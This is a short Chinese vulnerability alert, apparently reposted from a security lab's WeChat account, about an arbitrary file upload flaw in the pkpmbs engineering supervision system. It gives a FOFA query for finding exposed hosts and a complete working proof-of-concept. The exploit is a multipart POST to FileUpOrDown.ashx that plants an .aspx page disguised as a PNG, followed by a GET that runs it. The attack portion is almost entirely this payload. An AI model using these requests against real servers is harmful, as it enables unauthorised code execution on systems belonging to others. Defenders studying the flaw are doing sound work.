0x02 漏洞描述
pkpmbs 工程监督系统 fileupordown处存在文件上传漏洞。
0x03 漏洞复现
fofa-qeury: body="/Content/Theme/Standard/"
1.执行poc进行文件上传，访问文件得到结果
- |POST /Applications/Forms/SearchSetting/FileUpOrDown.ashx?operation=Fileupload&extName=.aspx&&searchConfigName=5B56bf.aspx HTTP/1.1Host:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUPUser-Agent: Mozilla/5.0------WebKitFormBoundarybqACRhAMBHmQQAUPContent-Disposition: form-data; name="Filedata"; filename="1.aspx"Content-Type: image/pnge165421110ba03099a1c0393373c5b43<%@ Page Language="C#" Debug="true" %><%@ import Namespace="System"%><%@ import Namespace="System.IO"%><% string pageName = Request.PhysicalPath;%><% File.Delete(pageName);%>------WebKitFormBoundarybqACRhAMBHmQQAUP--- |GET /Excel/Templete/5B56bf.aspx HTTP/1.1Host:
原文始发于微信公众号（融云攻防实验室）：漏洞预警 pkpmbs 工程监督系统 fileupordown文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论